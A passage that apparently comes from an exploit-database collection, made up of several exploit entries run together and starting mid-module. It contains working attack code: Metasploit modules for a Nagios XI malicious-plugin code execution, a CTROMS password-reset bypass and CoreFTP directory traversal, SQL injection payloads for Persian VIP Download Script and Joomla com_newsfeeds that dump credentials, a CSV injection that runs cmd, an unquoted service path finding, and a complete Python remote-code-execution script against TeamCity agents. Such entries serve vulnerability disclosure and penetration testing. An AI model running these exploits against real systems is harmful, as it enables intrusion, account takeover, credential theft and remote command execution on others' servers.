    return unless @plugin_installed

    print_status("Deleting malicious 'check_ping' plugin...")
    res = send_request_cgi({
      'uri'          => normalize_uri(target_uri.path, '/nagiosxi/admin/monitoringplugins.php'),
      'method'       => 'GET',
      'cookie'       => @plugin_cookie,
      'vars_get' => {
        delete: 'check_ping',
        nsp: @plugin_nsp
      }
    })

    unless res
      print_warning("Failed to delete the malicious 'check_ping' plugin: Connection failed. Manual cleanup is required.")
      return
    end

    unless res.code == 200 && res.body.include?('Plugin deleted')
      print_warning("Failed to delete the malicious 'check_ping' plugin. Manual cleanup is required.")
      return
    end

    print_good("Plugin deleted.")
  end

  def exploit
    unless [CheckCode::Detected, CheckCode::Appears].include? check
      unless datastore['ForceExploit']
        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
      end
      print_warning 'Target does not appear to be vulnerable'
    end

    if @version
      print_status("Found Nagios XI application with version #{@version}.")
    end

    check_plugin_permissions
    vprint_status("User #{@username} has the required permissions on the target.")

    if target.arch.first == ARCH_CMD
      execute_command(payload.encoded)
      message = "Waiting for the payload to connect back..."
    else
      execute_cmdstager(background: true)
      message = "Waiting for the plugin to request the final payload..."
    end
    print_good("Successfully uploaded plugin.")
    execute_payload
    print_status "#{message}"
  end
end
            
# Exploit Title: Persian VIP Download Script 1.0 - 'active' SQL Injection
# Data: 2020-03-09
# Exploit Author: S3FFR
# Vendor HomagePage: http://download.freescript.ir/scripts/Persian-VIP-Download(FreeScript.ir).zip
# Version: = 1.0 [Final Version]
# Tested on: Windows,Linux
# Google Dork: N/A


=======================
Vulnerable Page:

/cart_edit.php

=======================

Vulnerable Source:

89: mysql_query $user_p = mysql_fetch_array(mysql_query("SELECT * FROM `users` where id='$active'")); 
71: $active = $_GET['active']; 

======================
sqlmap:

sqlmap -u "http://target.com/cart_edit.php?active=1" -p active --cookie=[COOKIE] --technique=T --dbs
=======================

Testing Method :
	
	- time-based blind

Parameter: active (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: active=1' AND (SELECT 4169 FROM (SELECT(SLEEP(5)))wAin) AND 'zpth'='zpth

========================
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'CTROMS Terminal OS - Port Portal "Password Reset" Authentication Bypass' ,
      'Description'    => %q{
        This module exploits an authentication bypass in CTROMS, triggered by password reset verification code disclosure.
        In order to exploit this vulnerability, the username must be known.
        Exploiting this vulnerability create a new password for the user you specified and present it to you.

        The "verification code" and "cookie generate" functions required to reset the password contain vulnerability.
        When the "userId" parameter is posted to "getverificationcode.jsp", a verification code is transmitted to the account's phone number for password reset. 
        But this verification code written in the database is also reflected in the response of the request. 
        The first vector would be to use this verification code.
        The second vector is the "rand" cookie values returned in this request. These values are md5.
        If these values are assigned in the response, password reset can be done via these cookie values. 
        Ex: [ Cookie: 6fb36ecf2a04b8550ba95603047fe85=fae0bKBGtKBKtKh.wKA.vLBmuLxmuM.; 34d1c350632806406ecc517050da0=b741baa96686a91d4461145e40a9c2df ]
      },
      'References'     =>
        [
          [ 'CVE', '' ],
          [ 'URL', 'https://www.pentest.com.tr/exploits/CTROMS-Terminal-OS-Port-Portal-Password-Reset-Authentication-Bypass.html' ],
          [ 'URL', 'https://www.globalservices.bt.com' ]
        ],
      'Author'         =>
        [
          'Özkan Mustafa AKKUŞ <AkkuS>' # Discovery & PoC & MSF Module @ehakkus
        ],
      'License'        => MSF_LICENSE,
      'DisclosureDate' => "March 2 2020",
      'DefaultOptions' => { 'SSL' => true }
    ))

    register_options(
      [
        Opt::RPORT(443),
        OptString.new('USERNAME', [true, 'Username']),
        OptString.new('PASSWORD', [true, 'Password for the reset', Rex::Text.rand_text_alphanumeric(12)])
      ])
  end

  def peer
    "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
  end

  def check
    begin
    res = send_request_cgi({
      			      'method' => 'POST',
     			      'ctype'  => 'application/x-www-form-urlencoded',
      			      'uri' => normalize_uri(target_uri.path, 'getverificationcode.jsp'),
      			      'headers' =>
        			{
          			   'Referer' => "#{peer}/verification.jsp"
        			},
                               'data' => "userId=#{Rex::Text.rand_text_alphanumeric(8)}"
      			     })
    rescue
      return Exploit::CheckCode::Unknown
    end

    if res.code == 200 and res.body.include? '"rand"'   
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Safe
  end

  def run
    unless Exploit::CheckCode::Appears == check
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end
    res = send_request_cgi({
      			      'method' => 'POST',
     			      'ctype'  => 'application/x-www-form-urlencoded',
      			      'uri' => normalize_uri(target_uri.path, 'getuserinfo.jsp'),
      			      'headers' =>
        			{
          			   'Referer' => "#{peer}/verification.jsp"
        			},
                               'data' => "userId=#{datastore["USERNAME"]}"
      			     })

    if res.code == 200 and res.body.include? '"mobileMask"'   
      print_good("Excellent! password resettable for #{datastore["USERNAME"]}")
    else 
      fail_with(Failure::NotVulnerable, 'The user you specified is not valid')
    end

    begin

     res = send_request_cgi({
      			      'method' => 'POST',
     			      'ctype'  => 'application/x-www-form-urlencoded',
      			      'uri' => normalize_uri(target_uri.path, 'getverificationcode.jsp'),
      			      'headers' =>
        			{
          			   'Referer' => "#{peer}/verification.jsp"
        			},
                               'data' => "userId=#{datastore["USERNAME"]}"
      			     })

      @cookie = res.get_cookies

      res = send_request_cgi({
      			      'method' => 'POST',
     			      'ctype'  => 'application/x-www-form-urlencoded',
      			      'uri' => normalize_uri(target_uri.path, 'getresult.jsp'),
			      'cookie' => @cookie,
      			      'headers' =>
        			{
          			   'Referer' => "#{peer}/verification.jsp"
        			},
                               'data' => "userId=#{datastore["USERNAME"]}&password=#{datastore["PASSWORD"]}"
      			     })
      if res.body.include? 'result":10'
         print_good("boom! Password successfully reseted.")
         print_good("Username : #{datastore["USERNAME"]}")
         print_good("Password : #{datastore["PASSWORD"]}")
      else
         fail_with(Failure::BadConfig, "Unknown error while resetting the password. Response: #{res.code}")
      end
    end
  end
end
            
class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Ftp
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  def proto
     'ftp'
  end
  def initialize
    super(
      'Name' => 'CVE-2019-9649 CoreFTP FTP Server Version 674 and below MDTM Directory Traversal',
      'Description' => %q{An issue was discovered in the SFTP Server component in Core FTP 2.0 Build 674. Using the MDTM FTP command, a remote attacker can use a directory traversal (..\..\) to browse outside the root directory to determine the existence of a file on the operating system, and the last mofidied date.},
      'Author' => [ 'Kevin Randall' ],
      'License' => MSF_LICENSE,
      'References' =>
        [
           [ 'CVE', '2019-9649' ],
           [ 'BID', '107449' ],
           [ 'URL', 'https://www.coreftp.com/forums/viewtopic.php?f=15&t=4022509' ]
        ],
       'Disclosure Date:' =>  'March 13 2019'
    )
    register_options([
      Opt::RPORT(21),
      OptString.new('FILENAME', [true, "Name of file to search on remote server", 'nslookup.exe'] ),
      OptString.new('PATHTRAVERSAL', [true, "Traversal path Note: Default Drive used is C: ", "\\..\\..\\..\\..\\"] ),
      OptString.new('PATHTOFILE', [ true, 'local filepath to the specified file. Please add double slashes for escaping', 'Windows\\System32\\'] )
    ])
  end
    def run_host(ip)
     print_status("Logging into FTP server now with supplied credentials")
     c = connect_login
     return if not c
     print_status("Performing exploitation of the MDTM command to enumerate files")
     path = datastore['PATHTRAVERSAL'] + datastore['PATHTOFILE'] + "\\" + datastore['FILENAME']
     res = send_cmd( ['MDTM', "C: ", path ], true, nsock = self.sock)
     data = res.to_s
     print_status("Performing analysis.... Please wait")
     if (data.include? "213" )
             print_good ("And the circle hits the square!")
             print_good ("File Exists. Here is the last modified date for the file:"+ data[4..-1])
       return res
     else
             print_error("Mission Failed We'll get them next time!")
             print_error ("Something went wrong or the file does not exist. Please check your variables PATHTRAVERSAL and PATHTOFILE (please escape double backslash) or verify file extension as it may be incorrect")
       return res
     end
   end
 end
            
class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Ftp
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  def proto
     'ftp'
  end
  def initialize
    super(
      'Name' => 'CVE-2019-9648 CoreFTP FTP Server Version 674 and below SIZE Directory Traversal',
      'Description' => %q{An issue was discovered in the SFTP Server component in Core FTP 2.0 Build 674. A directory traversal vulnerability exists using the SIZE command along with a \..\..\ substring, allowing an attacker to enumerate file existence based on the returned information},
      'Author' => [ 'Kevin Randall' ],
      'License' => MSF_LICENSE,
      'References' =>
        [
           [ 'CVE', '2019-9648' ],
           [ 'BID', '107446' ],
           [ 'URL', 'https://www.coreftp.com/forums/viewtopic.php?f=15&t=4022509' ]
        ],
       'Disclosure Date:' =>  'March 13 2019'
    )
    register_options([
      Opt::RPORT(21),
      OptString.new('FILENAME', [true, "Name of file to search on remote server", 'nslookup.exe'] ),
      OptString.new('PATHTRAVERSAL', [true, "Traversal path Note: Default Drive used is C: ", "\\..\\..\\..\\..\\"] ),
      OptString.new('PATHTOFILE', [ true, 'local filepath to the specified file. Please add double slashes for escaping', 'Windows\\System32\\'] )
    ])
  end
    def run_host(ip)
     print_status("Logging into FTP server now with supplied credentials")
     c = connect_login
     return if not c
     print_status("Performing exploitation of the SIZE command to enumerate files")
     path = datastore['PATHTRAVERSAL'] + datastore['PATHTOFILE'] + "\\" + datastore['FILENAME']
     res = send_cmd( ['SIZE', "C: ", path ], true, nsock = self.sock)
     data = res.to_s
     print_status("Performing analysis.... Please wait")
     if (data.include? "213" )
             print_good ("And the circle hits the square!")
             print_good ("File Exists. Here is the filesize:"+ data[4..-1])
       return res
     else
             print_error("Mission Failed We'll get them next time!")
             print_error ("Something went wrong or the file does not exist. Please check your variables PATHTRAVERSAL and PATHTOFILE (please escape double backslash) or verify file extension as it may be incorrect")
       return res
     end
   end
 end
            
# Exploit Title: ASUS AXSP 1.02.00 - 'asComSvc' Unquoted Service Path
# Discovery by: Roberto Piña
# Discovery Date: 2020-03-10
# Vendor Homepage: https://www.asus.com/
# Software Link :https://dlcdnets.asus.com/pub/ASUS/misc/utils/AISuite3_Win10_H97M-Pro_V10102.zip?_ga=2.170180192.1334401606.1583873755-790266082.1583873755
# Tested Version: 1.02.00
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Home x64 en

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "asComSvc" | findstr /i /v """
ASUS Com Service                                                                    asComSvc                                  C:\Program Files (x86)\ASUS\AXSP\1.02.00\atkexComSvc.exe                                                                       Auto

C:\>sc qc asComSvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: asComSvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\ASUS\AXSP\1.02.00\atkexComSvc.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : ASUS Com Service
        DEPENDENCIES       : RpcSs
        SERVICE_START_NAME : LocalSystem


#Exploit:
# A successful attempt would require the local user to be able to insert their code in the system root path 
# undetected by the OS or other security applications where it could potentially be executed during 
# application startup or reboot. If successful, the local user's code would execute with the elevated 
# privileges of the application.
            
# Exploit Title: Wordpress Plugin Search Meter 2.13.2 - CSV Injection
# Google Dork: N/A
# Date: 2020-03-10
# Exploit Author: Daniel Monzón (stark0de)
# Vendor Homepage: https://thunderguy.com/semicolon/
# Software Link: https://downloads.wordpress.org/plugin/search-meter.2.13.2.zip
# Version: 2.13.2
# Tested on: Windows 7 x86 SP1
# CVE : N/A

There is a CSV injection vulnerability in the Export function of the Search Meter plugin version 

1) First we introduce the payload in the search bar in Wordpress

=cmd|' /C notepad'!'A1'


2) Then we go to http://127.0.0.1/wordpress/wp-admin/index.php?page=search-meter%2Fadmin.php and export the CSV file


3) After that we open the file in Excel, and import data from an external file, using comma as separator


4) Payload gets executed


Tested on Windows 7 Pro SP1 32-bit, Wordpress 5.3.2 and Excel 2016
            
# Exploit Title: Joomla! Component com_newsfeeds 1.0 - 'feedid' SQL Injection
# Date: 2020-03-10
# Author: Milad Karimi
# Software Link:
# Version:
# Category : webapps
# Tested on: windows 10 , firefox
# CVE : CWE-89
# Dork: inurl:index.php?option=com_newsfeeds


index.php?option=com_newsfeeds&view=categories&feedid=[sqli]

Example:

http://[site]/index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos_users--
            
# Exploit Title: TeamCity Agent XML-RPC 10.0 - Remote Code Execution
# Date: 2020-03-20
# Exploit Author: Dylan Pindur
# Vendor Homepage: https://www.jetbrains.com/teamcity/
# Version: TeamCity < 10.0 (42002)
# Tested on: Windows 10 (x64)
# References:
# https://www.exploit-db.com/exploits/45917
# https://www.tenable.com/plugins/nessus/94675
#
# TeamCity Agents configured to use bidirectional communication allow the execution
# of commands sent to them via an XML-RPC endpoint.
#
# This script requires the following python modules are installed
# pip install requests
# 
#!/usr/local/bin/python3

import requests
import sys

# region tc7
teamcity_7_req = """
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>buildAgent.runBuild</methodName>
  <params>
    <param>
      <value>
        <![CDATA[
          <AgentBuild>
            <myBuildId>123456</myBuildId>
            <myBuildTypeId>x</myBuildTypeId>
            <myCheckoutType>ON_AGENT</myCheckoutType>
            <myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
            <myServerParameters class="tree-map">
              <no-comparator/>
              <entry>
                <string>system.build.number</string>
                <string>0</string>
              </entry>
            </myServerParameters>
            <myVcsRootOldRevisions class="tree-map">
              <no-comparator/>
            </myVcsRootOldRevisions>
            <myVcsRootCurrentRevisions class="tree-map">
              <no-comparator/>
            </myVcsRootCurrentRevisions>
            <myAccessCode/>
            <myArtifactDependencies/>
            <myArtifactPaths/>
            <myBuildTypeOptions/>
            <myFullCheckoutReasons/>
            <myPersonalVcsChanges/>
            <myUserBuildParameters/>
            <myVcsChanges/>
            <myVcsRootEntries/>
            <myBuildRunners>
              <jetbrains.buildServer.agentServer.BuildRunnerData>
                <myRunType>simpleRunner</myRunType>
                <myRunnerName>x</myRunnerName>
                <myRunnerParameters class="tree-map">
                  <no-comparator/>
                  <entry>
                    <string>script.content</string>
                    <string>{SCRIPT}</string>
                  </entry>
                  <entry>
                    <string>teamcity.step.mode</string>
                    <string>default</string>
                  </entry>
                  <entry>
                    <string>use.custom.script</string>
                    <string>true</string>
                  </entry>
                </myRunnerParameters>
                <myServerParameters class="tree-map">
                  <no-comparator/>
                  <entry>
                    <string>teamcity.build.step.name</string>
                    <string>x</string>
                  </entry>
                </myServerParameters>
              </jetbrains.buildServer.agentServer.BuildRunnerData>
            </myBuildRunners>
            <myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
            <myBuildFeatures/>
          </AgentBuild>
        ]]>
      </value>
    </param>
  </params>
</methodCall>
""".strip()
# endregion

# region tc8
teamcity_8_req = """
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>buildAgent.runBuild</methodName>
  <params>
    <param>
      <value>
        <![CDATA[
          <AgentBuild>
            <myBuildId>123456</myBuildId>
            <myBuildTypeId>x</myBuildTypeId>
            <myCheckoutType>ON_AGENT</myCheckoutType>
            <myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
            <myServerParameters class="tree-map">
              <entry>
                <string>system.build.number</string>
                <string>0</string>
              </entry>
            </myServerParameters>
            <myAccessCode/>
            <myArtifactDependencies/>
            <myArtifactPaths/>
            <myBuildTypeOptions/>
            <myFullCheckoutReasons/>
            <myPersonalVcsChanges/>
            <myUserBuildParameters/>
            <myVcsChanges/>
            <myVcsRootCurrentRevisions class="tree-map"/>
            <myVcsRootEntries/>
            <myVcsRootOldRevisions class="tree-map"/>
            <myBuildRunners>
              <jetbrains.buildServer.agentServer.BuildRunnerData>
                <myId>x</myId>
                <myIsDisabled>false</myIsDisabled>
                <myRunType>simpleRunner</myRunType>
                <myRunnerName>x</myRunnerName>
                <myChildren class="list"/>
                <myServerParameters class="tree-map">
                    <entry>
                      <string>teamcity.build.step.name</string>
                      <string>x</string>
                    </entry>
                  </myServerParameters>
                <myRunnerParameters class="tree-map">
                  <entry>
                    <string>script.content</string>
                    <string>{SCRIPT}</string>
                  </entry>
                  <entry>
                    <string>teamcity.step.mode</string>
                    <string>default</string>
                  </entry>
                  <entry>
                    <string>use.custom.script</string>
                    <string>true</string>
                  </entry>
                  </myRunnerParameters>
                </jetbrains.buildServer.agentServer.BuildRunnerData>
            </myBuildRunners>
            <myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
            <myBuildFeatures/>
          </AgentBuild>
        ]]>
      </value>
    </param>
  </params>
</methodCall>
""".strip()
# endregion

# region tc9
teamcity_9_req = """
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>buildAgent.runBuild</methodName>
  <params>
    <param>
      <value>
        <![CDATA[
          <AgentBuild>
            <myBuildId>123456</myBuildId>
            <myBuildTypeId>x</myBuildTypeId>
            <myBuildTypeExternalId>x</myBuildTypeExternalId>
            <myCheckoutType>ON_AGENT</myCheckoutType>
            <myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
            <myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
            <myServerParameters class="StringTreeMap">
              <k>system.build.number</k>
              <v>0</v>
            </myServerParameters>
            <myAccessCode/>
            <myArtifactDependencies/>
            <myArtifactPaths/>
            <myBuildFeatures/>
            <myBuildTypeOptions/>
            <myFullCheckoutReasons/>
            <myPersonalVcsChanges/>
            <myUserBuildParameters/>
            <myVcsChanges/>
            <myVcsRootCurrentRevisions class="tree-map"/>
            <myVcsRootEntries/>
            <myVcsRootOldRevisions class="tree-map"/>
            <myBuildRunners>
              <jetbrains.buildServer.agentServer.BuildRunnerData>
                <myId>x</myId>
                <myIsDisabled>false</myIsDisabled>
                <myRunType>simpleRunner</myRunType>
                <myRunnerName>x</myRunnerName>
                <myChildren class="list"/>
                <myServerParameters class="tree-map">
                  <entry>
                    <string>teamcity.build.step.name</string>
                    <string>x</string>
                  </entry>
                </myServerParameters>
                <myRunnerParameters class="tree-map">
                  <entry>
                    <string>script.content</string>
                    <string>{SCRIPT}</string>
                  </entry>
                  <entry>
                    <string>teamcity.step.mode</string>
                    <string>default</string>
                  </entry>
                  <entry>
                    <string>use.custom.script</string>
                    <string>true</string>
                  </entry>
                </myRunnerParameters>
              </jetbrains.buildServer.agentServer.BuildRunnerData>
            </myBuildRunners>
          </AgentBuild>
        ]]>
      </value>
    </param>
  </params>
</methodCall>
""".strip()
# endregion

# region tc10
teamcity_10_req = """
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>buildAgent.runBuild</methodName>
  <params>
    <param>
      <value>
        <![CDATA[
          <AgentBuild>
            <myBuildId>123456</myBuildId>
            <myBuildTypeId>x</myBuildTypeId>
            <myBuildTypeExternalId>x</myBuildTypeExternalId>
            <myCheckoutType>ON_AGENT</myCheckoutType>
            <myVcsSettingsHashForServerCheckout>x</myVcsSettingsHashForServerCheckout>
            <myVcsSettingsHashForAgentCheckout>123456</myVcsSettingsHashForAgentCheckout>
            <myVcsSettingsHashForManualCheckout>x</myVcsSettingsHashForManualCheckout>
            <myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
            <myServerParameters class="StringTreeMap">
              <k>system.build.number</k>
              <v>0</v>
            </myServerParameters>
            <myAccessCode/>
            <myArtifactDependencies/>
            <myArtifactPaths/>
            <myBuildFeatures/>
            <myBuildTypeOptions/>
            <myFullCheckoutReasons/>
            <myParametersSpecs class="StringTreeMap"/>
            <myPersonalVcsChanges/>
            <myUserBuildParameters/>
            <myVcsChanges/>
            <myVcsRootCurrentRevisions class="tree-map"/>
            <myVcsRootEntries/>
            <myVcsRootOldRevisions class="tree-map"/>
            <myBuildRunners>
              <jetbrains.buildServer.agentServer.BuildRunnerData>
                <myId>x</myId>
                <myIsDisabled>false</myIsDisabled>
                <myRunType>simpleRunner</myRunType>
                <myRunnerName>x</myRunnerName>
                <myChildren class="list"/>
                <myServerParameters class="tree-map">
                  <entry>
                    <string>teamcity.build.step.name</string>
                    <string>x</string>
                  </entry>
                </myServerParameters>
                <myRunnerParameters class="tree-map">
                  <entry>
                    <string>script.content</string>
                    <string>{SCRIPT}</string>
                  </entry>
                  <entry>
                    <string>teamcity.step.mode</string>
                    <string>default</string>
                  </entry>
                  <entry>
                    <string>use.custom.script</string>
                    <string>true</string>
                  </entry>
                </myRunnerParameters>
              </jetbrains.buildServer.agentServer.BuildRunnerData>
            </myBuildRunners>
          </AgentBuild>
        ]]>
      </value>
    </param>
  </params>
</methodCall>
""".strip()
# endregion

def prepare_payload(version, cmd):
    if version == 7:
        return teamcity_7_req.replace("{SCRIPT}", "cmd /c {}".format(cmd))
    elif version == 8:
        return teamcity_8_req.replace("{SCRIPT}", "cmd /c {}".format(cmd))
    elif version == 9:
        return teamcity_9_req.replace("{SCRIPT}", "cmd /c {}".format(cmd))
    elif version == 10:
        return teamcity_10_req.replace("{SCRIPT}", "cmd /c {}".format(cmd))
    else:
        raise Exception("No payload available for version {}".format(version))

def send_req(host, port, payload):
    headers = {
        "Content-Type": "text/xml"
    }
    url = "http://{}:{}/".format(host, port)
    r = requests.post(url, headers=headers, data=payload)
    if r.status_code == 200 and 'fault' not in r.text:
        print('Command sent successfully')
    else:
        print('Command failed')
        print(r.text)


if len(sys.argv) != 4:
    print('[!] Missing arguments')
    print('[ ] Usage: {} <target> <port> <cmd>'.format(sys.argv[0]))
    print("[ ] E.g. {} 192.168.1.128 9090 'whoami > C:\\x.txt'".format(sys.argv[0]))
    sys.exit(1)

target = sys.argv[1]
port = int(sys.argv[2])
cmd = sys.argv[3]

version = input("Enter TeamCity version (7,8,9,10): ")
version = int(version.strip())
if version not in [7, 8, 9, 10]:
    print("Please select a valid version (7,8,9,10)")
    sys.exit(1)

payload = prepare_payload(version, cmd)
send_req(target, str(port), payload)